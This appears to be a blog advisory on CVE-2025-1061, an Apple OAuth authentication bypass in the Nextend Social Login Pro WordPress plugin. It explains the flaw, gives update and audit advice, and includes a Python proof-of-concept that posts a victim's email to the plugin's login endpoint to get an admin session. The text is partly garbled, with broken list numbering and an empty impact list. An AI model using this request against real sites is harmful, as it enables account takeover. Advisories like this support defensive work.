CVE-2025-1061 - Authentication Bypass Vulnerability in Nextend Social Login Pro Lets Attackers Impersonate Any WordPress User

In early 2025, a critical vulnerability was discovered in the popular Nextend Social Login Pro plugin for WordPress. Tracked as CVE-2025-1061, this flaw impacts plugin versions up to and including 3.1.16. If you use WordPress and allow users to log in with Apple ID using this plugin, you need to be aware—this is an easy door for attackers to enter your site as _any user, even administrators_.

Here’s what you need to know, how the issue works, the risk, and how to protect your site.

Nextend Social Login Pro is a widely adopted WordPress plugin that lets users log in with third-party services like Google, Facebook, and Apple. It’s designed to boost user registrations by making the process faster and easier.

What is CVE-2025-1061?

CVE-2025-1061 is an authentication bypass vulnerability that specifically affects the Apple OAuth integration in the plugin. The flaw is caused by insufficient verification of the user account during Apple's OAuth authentication process.

Impact:
Any unauthenticated attacker who knows or can guess the email address of a registered user (including admins) can log in _as that user_ without a password. This can lead to:

Official References

- Wordfence Advisory - Nextend Social Login Pro Apple OAuth Bypass (CVE-2025-1061)
- Plugin changelog/fix

Let’s dive into the logic.

During login with Apple, the plugin is supposed to verify that the OAuth authentication is valid and relates to the correct user. But, in the vulnerable versions, this check was flawed. Attackers can provide _any_ email address during authentication, and the plugin incorrectly accepts it _without further validation_.

Clicks “Sign in with Apple.”

3. In the OAuth flow, they craft a request specifying the email of a valid user (often guessed, or found in author BIOS, comments, etc.).

The plugin creates a WordPress session for that user with _no password required_.

End result: Attacker is logged in as the victim—possibly an administrator!

Proof of Concept Exploit

Below is a code snippet showing how the authentication bypass works.
Note: For educational use only. Exploit responsibly and only against systems you own or have explicit permission to test.

import requests

# Target WordPress site
site_url = "https://victimwordpress.com";

# Email of admin (often viewable in author bios, user lists, or guessed)
target_email = "admin@victimwordpress.com"

# 1. Initiate Apple OAuth (simulate through HTTP request)
oauth_payload = {
    'user': target_email,           # Key weakness: this field is not properly validated
    'provider': 'apple',
    # ... other required fields, possibly tokens (varies per setup)
}

# Exploit: Send login request (in real world, this would follow the plugin's Apple endpoint structure)
r = requests.post(
    f"{site_url}/wp-login.php?action=nextend-social-login",
    data=oauth_payload
)

print(r.status_code)
print(r.cookies)    # The response will set a login cookie as the victim user

In a real scenario, you would use a browser with a proxy like Burp Suite or intercept the OAuth callback, uploading the arbitrary email at the right moment to bypass verification.

Update Now: The vulnerability was fixed after version 3.1.16.

Update to the latest version from Nextend.

Audit Users: Check your user list for new or strange administrator accounts.

3. Monitor Logins: Keep an eye on user activity logs. Plugins like WP Activity Log can help.

Conclusion

CVE-2025-1061 is a major wake-up call for anyone relying on social logins, especially with Apple.
Not all OAuth flows are equally secure, and plugins can have subtle bugs with catastrophic impacts. If you run a WordPress site with Nextend Social Login Pro, _update immediately_, and stay alert for unusual account activity.

Timeline

Published on: 02/07/2025 02:15:29 UTC

What is Nextend Social Login Pro?